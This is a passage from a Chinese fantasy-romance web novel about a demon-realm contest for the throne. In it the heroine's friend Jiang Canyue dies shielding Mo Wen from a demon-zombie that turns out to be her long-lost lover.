金薇自认为勇猛一世,却还是在面对生死之时陷入恐慌。
“那你把我杀了吧。”
谌己的眼里透出锐利的杀气,没有人知道他在什么时候动了手。
金薇并没有死,她只先感受到一股强有力的真气注入她的身体,然后这股气息在在全身静脉四处游走,所及之处蛮横霸道,将她的血脉分离爆破。
在很短的时间里,她便失去了全身的修为。
这比死亡还要令她恐惧!
“谌己!我诅咒你!诅咒你的未来一片苦海,诅咒你尝遍世间所有苦难!”
“......”
金薇的嘶吼声不绝于耳,谌己毫不起波澜,继续施法,加固封印,功成。
自此,再无任何生物能进这大川山。
金薇也永获不死之身,日日夜夜守护着大川,随天地而存。
-
众人都耗太多气力,回程途中,路过人界,寻一旅馆稍作休息。
朝临与江残月一间屋子,将她的不安尽收眼底。
“残月,你怎么了?”
江残月还是摇头不语,落寞都被写在她身上。
“是因为妖僵的事吗?”
说起妖僵,江残月身子一抖,“不是。”
朝临可以确定就是因为它,只是江残月不愿说,她也不强求。
“郑之义……还活着就是好消息。”
“嗯,是天大的好消息。”江残月笑得苦涩,“只是,为什么他一直要躲着我呢。”
“或许是有什么难言之隐,等找他,一定要让他给个说法。”
“可是朝临,一个人如果有意,又为什么会一直东躲西藏呢?”
“这……我不知道。”
江残月叹了口气,道:“罢了,我不知道他怎么想,这次若是再找不到,我就不再寻他了。”
“嗯!”
谌己一直没有追上来,朝临晚上睡不着,穿上大袄去旅馆一楼喝热茶。
人界的冬季依旧没有过去,夜间萧瑟更甚,掌柜的一面为她热茶,一面问:“姑娘,可是在等人啊?”
朝临道:“嗯,我坐在这里,能第一时间知道他回来了。”
掌柜脸上有被岁月刻下的许多痕迹,但他面善,这么晚都没能入侵,脸上没有一点不耐烦。
“等心上人呢?”他问得很轻,像哄孩子。
“不是……”朝临脸颊一热
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,“等朋友。”
“什么朋友,还要你一个姑娘家家大晚上出来等啊?是觉不好睡吗?”
这也不好说啊,谌己可是她的救命稻草。
“大叔,其实他是我债主,我要是不等他,他一气之下,会杀了我的。”
“岂有此理!你且等着,等他一来,我帮你报官。”
掌柜义愤填膺。
“不是,不是这样的。”算算时间,谌己马上就来了,这话要是被他听见,真就完蛋了,“他虽然有时蛮横,但其他时间都对我很好,您不用担心。”
“那行!到时候他若是欺负你,跟我说,我帮你报官!”
“好好,谢谢您。”
桌上烛火摇曳,朝临托着脸,不知不觉睡了过去。
梦里有一只绚丽的蝴蝶,她想要抓住它,跟着它在花丛里奔来跑去,跑着跑着顿觉脖子一酸,下坠感油然而生。
好在有一只手接住了她下滑的脑袋。
“天亮了。”
“什么,天亮了?”
朝临猛然睁眼,坐正,含糊不清地说。
谌己收回手,指尖余温荡漾,久久不散。
他在她对面坐好,“怎么不去睡觉?”
“帝君,你怎么才赶过来。”朝临揉了把眼睛,看向柜台,掌柜已经不在那处,但台上的烛火还在跳跃。
“有点事耽误了。”谌己给自己倒一杯茶水,“你怎么在这里?”
“我在等你啊。”朝临脱口而出,又怕谌己觉得她太热情,多加一句:“我怕你来的时候找不到屋子。”
谌己手一顿,问:“没有屋子,我不会叫醒承光吗?”
朝临:“承光今日赶路耗神太多,还是我来等比较好。”
“哦?”谌己幽深的目光锁定她,看得她浑身发毛,“你竟如此关心承光,倒显得我这个师尊十足冷漠。”
他怎么会这么想!
朝临只怕自己有嘴说不清,慌不择言道:“帝君,虽然我知道你不会有事,但我还是担心,碰巧我又睡不着,所以才……”
“嗯,所以你是在关心我?”
可以说是的。
“嗯。”
“原来是这样。”谌己忽然又不吓人了。
朝临悄悄松下一口气。
“对啊。”
“那现在我回来了,你要去做什么?”
“啊?我要去睡觉。”
“还不快去?”
“帝君,我先带您去房间怎么样?”
谌己眼中有异样的光闪过,道:“走。”
朝临带着谌上到二楼,推开留给他的屋子,里面一片昏黑,谌己在门口不进,朝临便想着贴心地帮他点好火烛。
于是她蹑手蹑脚地摸寻到烛台,拿出火折子,吹半天都没有反应。
“什么意思啊……”朝临低声抱怨着。
“怎么了?”谌己的声音在身后响起,很近。
“帝君,我没火了……”
谌己只是扬手,整间屋子的火烛都亮了,火光映在朝临恍惚的脸颊上,以及谌己意味不明的眼眸之中。
朝临转身,险些撞进谌己怀里,她忙不迭往后退一步,撞上烛台,后腰吃痛。
谌己将她拉到一边,低头看着她怯生生的眼睛,“我有这么吓人吗?”
朝临摇头,“是我不小心。”
“没事吧?”
“没事。”
“你现在要做什么?”谌己问。
“啊?”话本里写到,一般在这种四下无人的时候,孤男寡女,共处一室,应该要……
“帝君,我,我要睡觉去了。”
谌己嗓音嘶哑,意犹未尽地问:“你要去哪里睡?”
朝临呼吸都要静止了,她无法控制自己脑子里乱飞的想法,殊不知自己脸蛋已经红透了。
“我……”她咽下口水,“当然是回房睡。”
谌己却不像肯放过她的样子,“只有你房间才能睡吗?”
“帝君,我还没……”
“好了。”谌己轻轻在她鼻头刮了刮,“去找江残月,她身上有你喜欢的气息,多闻闻对你好。”
“……哦。”朝临无地自容。
谌己了然地看着她,但没挑明,只道:“怎么,你那间屋子就那么好?”
“不是。”
“还是说,你想在我这里睡?”
“当然没有!”
朝临活像只受惊的小猫。
“那还不快去?”
“哦。”
26. 当年
次日,众人踏着晨光,一口气回到妖王殿。
而这也是第二轮考测的最后一日,有所收获的竞选者仅半数。
孟鸾还未现身,大殿里哄声四起,不一会便有妖族大长老进到殿中,声音不怒自威,穿透力极强。
“恭喜各位完成了第二轮考测,妖王稍后就到,还请各位竞选者将战利品奉上。”
妖侍们取得千妄与焰伺的首级,奉给大长老查看,老者的眼中不断透出满意的光。
但当金薇的花瓣出现在他眼前时,他却目光一凛,继而问道:“这是哪些人取回来的?”
“我们。”莫问挺身而出,“敢问,有什么问题吗?”
大长老打量着莫问,问:“这是金薇的花瓣?”
“正是。”莫问勾唇,也不知哪根筋搭错了,竟插科打诨起来:“才取下来没多久,保证新鲜。”
“哼……”大长老背手,看向别处,“年轻人,收收你的傲气。”
莫问耸肩,退回一步,对符枝道:“你们妖族大长老都这么凶吗?”
“非也,唯他如此。”
莫其渊皱眉看完全程,道:“你好好说话,那是前辈,得罪他了,对你并无好处。”
“出了青丘还拿出大哥的姿态,说出去丢不丢脸?”莫问不分给他眼神,顺嘴道。
莫其渊负气走开,朝临听不下去,走到莫问身边,道:“你兄长护了你一路。”
莫问抱手,脸上闪过一抹错愕,“我怎么不知道?”
朝临:“知道了你自然就赶他走了。”
莫问:“那他为什么要走?既然问心无愧,又为什么要偷摸着跟上我?”
“……”朝临总是吵不赢他,吃一肚子气,看向江残月,“残月,你看他。”
“莫问,再怎么说他也是你兄长,你尽早跟他把话说清。”江残月浅浅道,“也尽早回去看一看,你的家人说不定很想你。”
莫问只在江残月面前哑火。
闻言点头,不然地揉一下耳垂,别扭道:“江姑娘,这些日子我忙于考测,并未过问你的情况……你还好吧?”
“我没事。”江残月道,“我能不能向你问一件事?”
“你问。”
江残月轻咬下唇,似乎是下定某种决心,“你们九尾狐一脉,是否有未入族谱的后代?”
莫问思索一番,“我不清楚,莫其渊应该知道,你要不去问问他?”
江残月道:“好。”
江残月站在莫其渊身后正纠结着,忽然听见来人道:“如果莫其渊真的知道,你会怎么做?”
江残月心颤了颤,回头道:“帝君,您这是又知道了什么线索吗?”
谌己问:“你在幻境里看见了什么?”
江残月不愿回想起那日的见闻。她想,既已知结局,则可避免,深思太多反而徒增烦恼。
“都是些,无关痛痒的事。”
“无关痛痒?”谌己品味一道,“他如今就在妖界,你应该,很快就能见到他了。”
江残月忽然有种不好的预感。
“是吗,那太好了。”
“莫其渊是现今青丘第一位储统。”谌己顿了顿,“或许知道当年那件事。”
“多谢帝君。”
原来这就是真相即将揭开的感觉,竟这般刺痛,这般恍惚。
朝临将谌己与江残月的谈话收入眼帘,谌己回来时,她急忙收回视线,暗自祈祷他不要发现。
“看够了?”
然而这很难不被他发现。
“没……”意识到这样答不对,朝临马上改口:“看够了……不是不是,我没有看。”
谌己:“话都说不利索,我要怎么信你。”
“信什么?”
“信你不是在偷看我。”
“……”帝君什么时候染上这种毛病了!
朝临憋红了脸,道:“帝君,我也不知道为什么,只要你站在那里,我就总想看过去,冒昧问问,是因为我体内的气息吗?”
“……”谌己睨她一眼,道:“不知道。”
不知道就不知道,是你要我说说为什么,怎么还生起气来了。
孟鸾进殿,万妖齐跪。
妖侍将战利品一一奉上,她眼波流转,最后停在最后一样上。
大长老见状,道:“殿下,我认为仅一片花瓣算不得考测成功,还请三思。”
孟鸾摆手,紫光闪动,飞向花瓣,两股气息短暂交手,属于孟鸾的紫气悻悻而归。
“哼!这么多年了,也难得你还有一身锐气。”孟鸾对着花瓣道,“不过再怎么样,今后你也再掀不起什么风浪,这次你还是输了。”
大长老道:“殿下,这是什么意思?”
“这就是金薇,花瓣就是她的命,既然命都到了,自然是作数的。”孟鸾的目光穿过人群,落在符枝身上,“大长老,不要欺负后辈。”
“……”大长老吃瘪,迫于孟鸾的权,只能将火气压下,“可这不公平!”
孟鸾不恼,问他:“如果要你去,你能取回她的一片命根吗?”
大长老愤愤离场。
孟鸾依次给所有胜出者下发第三轮考测的通行牌,让手下宣布此次要求。
第三轮考测是个人战,各竞选者需同时进入妖族禁地,将被未训藏起的赤诡石带回来,谁将石头带回,则成妖王。中途,任何人不得影响考测,如有犯者,格杀勿论。
孟鸾在寝宫设晚宴,以贵客的名义将朝临一行人请至殿上,好酒好菜招待着。
宴上人不多。
“多谢各位在此次考测中对对符枝的帮助,大恩不言谢,我敬各位。”
孟鸾端杯快饮。
妖王把话说到这般,在场谁都要起身附和,今夜的酒格外烈,朝临喝下一口,嗓子眼都被辣出火来,她抽空看一眼谌己,他倒好,站都不站,就喝自己的。
坐下后,承光往她碗里夹进一个鸡腿。
“朝临,你以茶代酒即可,这酒烈,没几杯你就会醉的。”
“好。”朝临咬一口肉,嚼几下,悄声问:“你说,妖王请我们来,所为何事啊?”
“多半是那妖僵。”承光道,“我今日下午去禁地附近看过,那儿有妖僵的痕迹。”
朝临:“那是不是说明,妖僵是某个竞选者所炼制的?”
“很有可能。”
“那莫问岂不是……”
“嘘。”承光打断她,“听听妖王怎么说。”
…
孟鸾全程都只说些不痛不痒的客套话,直到谌己放下筷子,她才将话锋一转,问道:“帝君,你可吃饱喝足?”
谌己道:“好酒好菜,承蒙殿下招待。”
“既然帝君满意了,那孟鸾也可以放心说说心里话了。”
“请说。”
孟鸾不怎么吃菜,酒没少饮,却丝毫未有醉象。
“帝君,前两日我感受到了另一妖僵的存在,妖狱里那只似乎也所同感,一时躁动伤了我两名手下。”
谌己:“嗯,我们都听到了。”
孟鸾:“听到?”
谌己:“嗯,它也在大川,不过很快就收到某种指令,迅速离开了。”
孟鸾沉吟片刻
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,“这是不是可以说明,妖僵就是竞选者之一所炼制的?”
谌己点头,“可以这么说。”
“帝君有怀疑的人吗?”
“没有。”
“此人心机深沉,有备而来,如果被他使用奸计夺得妖王之位,妖界将倾啊……”
符枝道:“母亲,何不过几日待那妖僵出现时,一举拿下?”
孟鸾摇头,道:“禁地无法设下透视,你们一进去,发生任何事我都不得而知。”
符枝面露不安,喃喃道:“那岂不是捉不住它了?”
孟鸾没有回应符枝的话,转而看向莫问:“莫公子,此番多谢你引着我枝儿,你是个聪明人。”
莫问只愿在这种场合当个透明人,但天不遂人愿。
“多谢殿下夸赞,此趟却是三公子对我影响更大一些。”
“说来听听。”孟鸾兴致大好地问。
“……”莫问求助似的看向符枝,“这个得问三公子。”
符枝压根不接他的话茬,“母亲,我跟这厮没那么熟。”
孟鸾道:“怎么会,我看你和莫问公子配合得很好啊?”
符枝道:“那您倒不如说我和章传章兄心有灵犀。”
孟鸾疑惑:“章传是谁?”
莫问忙道:“就是那只英勇无畏的兔妖。”
“英勇无畏?”孟鸾眼里透出讥讽,看向谌己,问道:“帝君,那兔妖担得起英勇无畏这个名头吗?”
谌己点头,“他不一般。”
“原来是这样。”孟鸾意味不明地笑了笑,“帝君可知逃跑的那只妖僵原身是甚?”
谌己道:“九尾狐。”
“九尾狐?莫问公子,你认出他来了吗?”
孟鸾的话一出,莫问陷入诧异,江残月明明置身事外,此时却慌张地碰倒一杯酒,酒液自桌面滑到朝临的大腿之上。
“对不起……”江残月忙用袖子将酒水擦净,又斟一杯,惶恐大家多注意她。
孟鸾从中看出些什么,问她:“这位姑娘,你认识那九尾狐?”
“不认识。”江残月含蓄地笑,此刻她心中已有印证,倒先一步安心下来,“九尾狐一脉,我只认识莫问。”
“可我看你,像是知道什么……”
“殿下,何不说说你接下来的计划。”谌己不咸不淡道,“凭他们可除不掉妖僵,此事若是不提前准备,会有不少伤亡。”
孟鸾觉得这个人族女子很不一般,她几次见她,她都是一副苦大仇深的模样,脸上一丝乐观都没有,正逢大好年华的女子,怎会如此沧桑。
只是她脸上血色不均,双眼时常垂起,引起孟鸾细看过两眼,那已是残烛之躯。
“我是无法亲自去的。”她直言,“就看帝君是否愿意以契约之名替我前去了。”
谌己应下:“我可以去,但你得给我个身份,否则我神族还得落下个罪名。”
“这是自然。”孟鸾伸手,掌中凭空出现一块造型独特的妖牌,“这是我的令牌,代表我的所有命令,若是有人为难,亮明即可。”
“这恐怕于理不合。”谌己的视线从妖牌移开,举杯喝水,“先不说这妖牌是否认主,我贸然前去,定会……”
“帝君,这些不用你来操心。”孟鸾将妖牌放在他眼前,“你只需帮我除掉那妖僵和它的主人,其他的我都会处理好。”
“我知道帝君一直心系妖王印,待赤诡石顺利寻回,我族子民安然回归,妖王之争顺利结束,届时妖王印我自会亲手奉上。”她早已与谌己互透过底牌,亦知谌己此行来的目的,“朝临姑娘的脉也好说。”
27. 郑之义的往事
一场大雨降临妖界,天与地同色,世间苍茫,更显孤寂。
两日后第三轮考测才开始。
孟鸾留谌己一行人在殿内休整,谌己以山间小屋无人照料为由,拒绝她的好意。
林中木屋在大雨滂沱中岿然不动,应是谌己的禁制起了作用。
屋内干燥依旧,走时未收的茶杯里落了一层薄灰。
莫其渊帮同组队友困住妖兽后再赶来救莫问,妖王将他的行踪看在眼里,默许他通关。
而这兄弟二人却一直没有将话说开,一直到屋子里坐下,谁都不肯服软。
谌己更待见莫其渊,主动问他:“大公子,这两日可愿与我们一同待在这里?”
“多谢帝君,只是家中尚有政事需我处理,不得不回。”莫其渊道,“我即刻启程。”
朝临低声对莫问道:“你不说两句?”
“我没什么好说的。”莫问负气道,当然此刻没人发现他眼中的不安,“他能解决。”
莫其渊喝下一杯水,起身拱手,“帝君,两日后我们在妖王殿见!”
“嗯。”
他走到门口时,略微停顿,余光微微停在莫问脸上,晦暗不明。
两兄弟依旧没有原谅对方。
虽未在妖王殿歇息,但妖王却承诺说,这两日的一日三餐都由她负责。
有这好事,大家都不拒绝。
时至傍晚,大雨初停,隐有几丝天色透过云层,很快便归于灰黑。妖侍们送来膳食,踏着泥浆悄无声息地离开。
菜食味道好,几个人早已饥肠辘辘,吃得忘我,谌己不怎么动筷子,大概觉得那些无味的茶水要更顶饱,喝到一半他便回房去了。
朝临目光追随而去,她有些担忧。
莫问没心没肺道:“他饿不死的,随意吸两口妖气就可活白天,可比你强得多。”
朝临不解道:“帝君不是神族吗,妖气对他也有用吗?”
莫问正色道:“他的能耐,比你想的要强得多。”
“原来如此。”
“这也就是你为什么得到一丝真气即可化出人形的原因。”承光道,“帝君的实力,已经达到我们都无法想象的境界。”
......
朝临做了一个噩梦,被惊醒后,怎么也睡不着,她悄然起身,推门一望,远边天幕已然透出天色。空气尚好,她披上外衣独自推门外出。
木屋一里外有片海棠林,当下正是开得盛的好时节,白花盛开在朝阳初升之时,浅光落在新鲜的花朵上,水珠晶莹,更令花簇明媚动人。
穿过海棠林,朝临身上已经沾上水汽,尤其是发丝儿上,有的水珠顺着发尖正往下滴,海棠林的尽头有处山崖,不高,但足以俯瞰半个妖界。
紫气萦绕的城邦之内,仅有一部分居民在劳作,朝林大吸一口空气,肺里骤然清凉,她当即席地而坐。
这是这段日子以来,她第一次独自享受宁静。还未化成人形时,她总在星辰黯淡之时飘到霄华殿上空,平静地浏览世间百色。
“真好。”如果日子能一直这样安稳地过,她一定会放下所有执念。
“好什么?”
谌己的声音毫无征兆地从身后传来。
“嗯?”朝临愕然回头,发丝缠在脸上,小水珠砸了一脸,“帝君怎么来了?”
谌己蹙眉,问她:“我不能来吗?”
“当然能来!”朝临有些亢奋,双手一撑,站起身来,拍拍衣服上的尘土,“我只是比较好奇,帝君怎么会跟我来同一个地方。”
“睡梦中听见门开的声音,以为是贼人。”谌己随口道,“没成想看见你鬼鬼祟祟出了门,以为你又被控制了......”
朝临眨了下眼睛,道:“所以帝君是怕我出事,才一路追过来的吗?”
“追过来?”谌己脸上露出一抹不可思议,“我用得着追?”
“那,就不算追,算好心跟过来。”
“嗯。”谌己应道。
这应该算心口不一吧?没想到堂堂帝君,竟也会有这种时候。
朝阳越发清晰,落在谌己的侧脸上,衬得他凌厉的表情更为柔和,虽然眼里还是有化不去的寒冰之气,但落在朝临眼中的,已没有太多距离感。
朝临忽然觉得天色正好。
于是她对谌己露出一个不做保留的笑。
眉眼儿弯弯,恰如晨光之清新。
谌己心中有什么念头一闪而过。
“做什么。”他干巴道。
朝临道:“帝君,我现在好开心啊。”
谌己面色紧绷地看着她,道:“我知道。”
“那你开心吗?”
“......”谌己拒绝回答。
“帝君,要多笑笑,像我一样。”朝临道,“当然你不笑也没关系,开心就好。”
谌己:“我很开心。”
“我知道,但开心是要表现出来的。”
“不是谁都跟你一样,天生神经大条,对什么都乐观无畏。”谌己道,“也不是每个人都爱笑。”
“……”
他心中装着太多事,从而有点闷,闷久了,是不会感受快乐的。
朝临无法懂得,却能共情,因为他们本来有些时候就能互相感受情绪。
“帝君,我知道的。”朝临慨然,“不过有我在,你不会不开心的。”
-
第三轮考测,只有不到二十位竞选者参加,孟鸾一声令下,他们或飞翔,或遁地,或疾驰,都朝着一个目的地而去。
“帝君,你打算何时启程?”
孟鸾瞧着符枝的身影逐渐变成白日里的一个小点,不紧不慢地问道。
谌己不给她确切时间,只问:“殿下想要我何时去?”
“半日后再去。”孟鸾干脆道,“待他们先厮杀一番,剩下来的那些人更好排查。”
“好。”谌己应声。
孟鸾的注意力落在另外几人身上,道:“帝君,你一人去吗?”
“嗯。”
“如果你想多带几人,也是可以的。”
谌己问:“你们想随我一同去吗?”
朝临害怕那些厮杀,摇摇头道:“不想去。”
承光也道:“帝君,我也不去了。”
只有江残月在一旁低头不语,谌己问她:“江姑娘,你呢?”
“我……”
江残月在心中挣扎。去了,幻境里的事或许会成真;不去,她则能活久一点。
“帝君,我想去。”
她想,这或许是命中所带的,她想见一见还活着的郑之义,在她所剩无几的生命里。
“你想去
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?”谌己看向她的眼里带着些不忍,“去了,就不能后悔了。”
“嗯。”江残月坚定道,“帝君,我一定要去。”
“好。”
谌己不理解江残月的动机,她明明可以等他们将妖僵捉拿归案,但她还是毅然决然赴往这一场生死。
这时候他听见朝临说:“既然这样,帝君我也想去。”
谌己此时拿她没有办法。
“到时候跟紧我。”
“好!”
承光这时也道:“我也去。”
孟鸾抢先一步道:“承光仙君,我有另事相求,还请借步说话。”
“可我……”
“承光,别忘了你来妖界的任务。”谌己冷言,“完不成,我会让勿舆治你的罪。”
“弟子知错,还请帝君责罚!”承光躬身。
谌己淡淡扫了他一眼,愤然离去,朝临跟上他,回头看一眼,承光仍未起身,大喝一声:“谢帝君教导,弟子这就去!”
悬日停至头顶正上方时,三人抵达妖界禁地,有了妖牌,禁地口那两只狼妖并未阻拦。
朝临担心江残月,自踏进起便紧紧拉着她,谌己给两人施法,“不要碰水,现形了会引来麻烦。”
“隐身术啊?”
“嗯。”
朝临:“帝君,我自己会,不如我来试试?”
“……”谌己不着痕迹白她一眼,只解开她一人身上的法术,“江残月,你离她远点。”
“啊?为什么……”江残月话音未落,便被一阵突如其来的力给击开,“朝临,你怎么把自己变小了!”
“啊?!”朝临一看,江残月和谌己果然变得巨大无比,“我再试试。”
她仔细回忆,口中喃喃,腕间黄光流动,“起!”再睁眼,她道:“怎么样?”
谌己道:“好了,走吧。”
“我竟然成功了。”朝临兴奋地拉着江残月的手,“看我多厉害。”
“嗯!你特别厉害,等会要保护我哦。”
“好。”
一路上不断有在对战中受伤的竞选者,大多是轻伤,并不涉及内力。
往前走半时辰,路边有一小庙,庙里破败不堪,供奉的石像早已不知所踪,却透着一阵淡淡的血腥之气。
朝临胃里一阵翻江倒海,当即被熏得出去吐了一通。
谌己面不改色道:“江姑娘,还请验尸。”
他将手一抬,一具山羊尸体便从供奉台后飞出,一身血淋淋,更无声息。
江残月强忍不适,拿出工具仔细验看,道:“被利爪抓破心脏而亡,再被利齿吸尽浑身血液,残忍抛尸。”
“是他?”
江残月点头,脑海中一身身影闪过,她道:“正是。”
谌己久盯那可怜的羊妖,又问:“能找到那妖僵的踪迹吗?”
江残月心跳得飞快,无力摇头:“不能。”
谌己:“你还想走下去吗?”
江残月心知肚明道:“帝君为何这样问?”
谌己道:“我为什么这样问,你心里应该清楚。”
江残月笑道:“我自然要去的。”
“好,那你把郑之义的事全都告诉我,包括他跟九尾狐一族的联系,通通说清楚。”谌己道,“如果再有隐瞒,我就会把你送出去。”
28. 岁岁安宁
江残月垂眼,似乎做了某种决定,缓缓道出她与郑之义之间的部分往事。
“我先前,救过莫问。那时我上山采药,见一九尾狐在猎狐的兽夹下挣扎,于是将他解救,带回来好生养着。狐狸断了一条腿,在我这里养了一个月的病,病好后,我原想吃了他,又想到他和郑之义是同族,所以咬牙把他给放了,我也是这段时间才知道莫问和郑之义之间的联系,当然,也可以说没有联系,毕竟郑之义,只是个野种……”
江残月说出这些话时,面容冷静,但眼里却无比怆然的。
她的思绪飞回很远。
“我与郑之义相识于六年前,那时我刚刚成为药修,师傅早早离世,但她给我另寻了一位师傅,和第二位师傅一同前来的,是郑之义。”
“他以药修身份与我同学,后来师傅逝去,我便与他相依为命。”
“在这个时间里,我与他互生好感,后来……我们深深爱上了彼此。”
“我们一同度过了甜如蜜罐的三年,直到第四年,他说他差一点就可以成为真正的药修,要去外面闯一闯,只是这一去,便再也没回来。”
“我想我已经不再爱他,而寻他,只是我自寻的痛苦宿命。”
江残月仅用很短时间,便诉尽心中苦楚。
“帝君,这就是我和他的故事,很简单,还带着点不堪。”
谌己沉吟片刻,又道:“你是不是在幻境里见到郑之义了?”
江残月点头。
朝临却心慌了慌。
“见到了,我见到他死了。”
而她也死了。
谌己眸光黯淡,“你,还想往前走吗?”
“还要走的。”江残月毅然。
“残月,你要不先回去吧,先好生修养,我看你……”
“朝临,我意已决,最后一刻我会把所有的事情都告诉你。”江残月道,“放心,我不会有事。”
朝临不信,看向谌己,他只是淡淡地看了她一眼,“走吧。”
朝临揣着不安与继续前行。
一路不断有人落败,到一湖边,找见了符枝和芷禾。
这儿是一片槐树林,树干粗大,妖气四溢。
二妖颓丧地靠在树干下,莫其渊半跪着,大口喘气,他扬了扬下巴,“喂,服了吧?”
符枝道:“大公子,你这么做,莫问他知道吗?”
“管他知不知道。”
“还真是兄弟情深。”芷禾道,“大公子,你果然是我辈翘楚,芷禾佩服。”
“过誉了。”莫其渊强撑着站起身来,喃喃道:“他要来了……”
芷禾与符枝施法,瞬间消失。
莫其渊的背影显得尤为孤寂,就这么平静地等来莫问。
“来这么慢?”他一开口便说。
莫问疑惑道:“你怎么变成这样了?”
莫其渊:“打架了,当然变成这样。”
莫问道:“你和符枝他们碰过面了?”
“嗯,我赢了。”
莫问笑笑,“你在这里等我?”
莫其渊点头,“当然。”
莫问:“你什么时候对妖王之位这么感兴趣了?”
“现在。”
“……”
“那你动手吧。”莫问冷淡道,“我让你一招。”
莫其渊久久凝视着最小的胞弟,忽而就笑了。
“我现在打不过你。”
莫问蹙眉,“你什么意思?”
“我投降。”他随口道,带着不容置疑的认真,“赤诡石就在湖中央,取出来,你就是妖王。”
莫问一时失了判断,“我不需要你的怜悯。”
“我不是怜悯你。”莫其渊道,“我是敬佩你。”
“我……”
“我敬佩你的勇敢,敬佩你的一腔孤勇,而且就算我真的让了你,那又怎么了?”莫其渊很感激莫问态度的转变,“我们是兄弟,一母同胞的兄弟,我乐意。”
“我不需要。”
莫其渊:“别装了,你需要,你知道我现在打不过你,还狠得下心伤我?”
“……”莫问别开眼,“我去了。”
“这是尽苦河,只能游过去。若你游过去,则……”莫其渊欲言又止。
莫问:“什么?”
“你不知道?”
“废话。”
“则了却凡尘俗念,永不坠情海之中。”莫其渊淡淡说着,见莫问脸色微变,便道,“你舍得吗?你舍得那位江姑娘吗?”
莫问久久不语。
“再不去,就来不及了。”莫其渊催促道。
而莫问则一步一步往湖水中走去。
“喂!从此刻开始,你就会慢慢忘记她。”
“现在回来还有回头路,再走远点可就没机会了!”
莫问咬牙,心中仅有丝丝痛楚。
他痛以后不再喜欢江残月,痛以后与她只能做陌生人。
但他,更想要妖王之位。
妖界众生苦社稷久矣,是时候改变现状了。
他一路淌水,到湖中央,取到赤诡石。
再慢慢往回走。
临近岸边,闻到一股血腥气。
他慌忙加快脚步。上岸,只见莫其渊奄奄一息地趴倒在地。莫问从未见他这么狼狈。
“你怎么……”
“快走!”莫其渊用尽最后的力气,“小心章传,你快……”
还未等他说完,莫问便觉一股力向他击来。
他灵活躲开。
章传从林中缓缓走出,从容不迫。
“莫兄弟,没想到你这么快就拿到赤诡石了。”
莫问眯眼,“章兄,你出现得也恰得时机啊。”
“我一直在这里。”章传道,“等着你们。”
莫问道:“没想到最后竟是与你决一死战。”
“怎么,让你失望了吗?”
“当然没有,意料之内。”
章传笑笑,“那就动手吧。”
莫问不语,浑身黑气飘飘。
章传周身红气萦绕,他讥讽道:“你不是我的对手。”
“试试就知道了。”莫问从来显山不露水,此时依旧这么做,不等章传有所反应,持械直冲。
章传反应迅速,躲开一击,再变出兵器,抵挡莫问重重一击,将他震飞出去。
莫问借树稳住。
“再来。”
章传的攻势极为密集,一度将他逼入绝境。
他在观察他的招数。
章传的招数很刁钻,毫无规律,在混乱中有一套别具一格的体系。
莫问只得放手一搏。
将左肩暴露给他,而右手直击他的心脏。
这一招成功了。
章传怎么也没想到,莫问竟也已到达红气之境。
他落入他的圈套,心脏被重击,狠狠下摔,吃了一嘴泥。
莫问缓缓下落,停在章传身边,居高临下,“服了吗?”
“你什么时候……”
莫问道:“很早之前。”
章传胸口剧烈起伏,“你一直在隐藏实力?”
“嗯,有问题吗?”<
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“我看错你了。”章传吐出一口血水,“你怎么能这样……”他低眉,似乎做了某种仪式。
莫问让自己警惕起来,不再与他浪费口舌,抬步回程。
“吼……”
“吼……”
是妖僵的低语。
“原来是你。”莫问早就猜过,算猜准一半。
“跟他去打吧。”章传黠然一笑,消失不见。
莫问回头,妖僵凭空而来。
鬼面獠牙,比上次那只要更成熟。
他的心沉了沉。
借力而起,平视他满是凶光的眼。却忽觉一股怅然,就好像,他们认识一般。
妖僵行动速度快,一眨眼就到莫问身前,利爪直插心脏。
莫问一招将他击开,他孜孜不倦,不断发来攻击。
妖僵终于失去耐心,化出原型。
莫问怔然,忽然有种错觉,他竟然会觉得,这只他从未见过的九尾狐,有几分相熟之感。
他吃力地与妖僵斗了几个来回,那妖僵似乎不会累,不断发来攻击。
莫问被妖僵一掌击下,砸在槐树上。
浑身都在痛,没有一处不受到重创。
妖僵再度使出他的极速之力,伸长利爪前来。
他无法避开。
莫问做好赴死的准备。
那利爪在仅隔他一爪之隔时,深深没入另一具身体。
属于江残月的幽幽的香味在他鼻尖萦绕。
血肉被撕裂的声音接踵而来。
莫问在下一刻彻底忘记了身前已经倒下的这个女人。
只知道自己被热血溅了一脸。
那女人只虚弱留下一句:“郑之义,我找到你了……”
便再无声息。
妖僵很快被谌己的气息所缚。
莫问才意识到自己留下一滴泪,他赶忙擦净,却听得另个女声大叫。
“残月!”
朝临从没想过江残月的速度会这么快,只是一转眼,她就没了生命。
她死在了郑之义的手下,她再无声息。
朝临的泪已经控制不住,豆大点,点点落在江残月的衣裳上。
“她是谁?”
莫问恍惚道。
朝临愤恨地看了他一眼,暗怨他将此忘得太快。
“她叫江残月,是你的恩人。”
谌己看着江残月的遗体,心中也有几丝不忍。
“江残月?”莫问在思索,“她为何要救我,我认得她吗?”
尽苦河有个古老的诅咒,淌过它的人,永远不会记得自己经历过这一遭。
“莫问,她救了你两次。”朝临哽咽着,“你不能忘记她,她是个好人,是个很好的人……”
“江残月……”莫问念着这个名字,心中闪过一抹酸楚。
“朝临,江残月给你留下几句话。”
谌己道。
朝临抬眼,泪眼婆娑,“什么?”
“她说,她阳寿本就快要耗尽,不知还能活一年或是半载,但不论是多久,都不是她想要的长生,与其这样,还不如干脆地死去。”
“她在幻境中看见过这个结局,她是欣然赴死的。”
“她还说,祝你以后快乐无忧,岁岁安宁。”
话音落,朝临无力地闭眼。
江残月是她最要好的伙伴,她想,她永远都忘不掉她了。
“莫问,她也有话留给你。”
“什么话?”
“你送给她的续命丸,她一颗都没有吃,全都存放在残月阁的膳房当中。”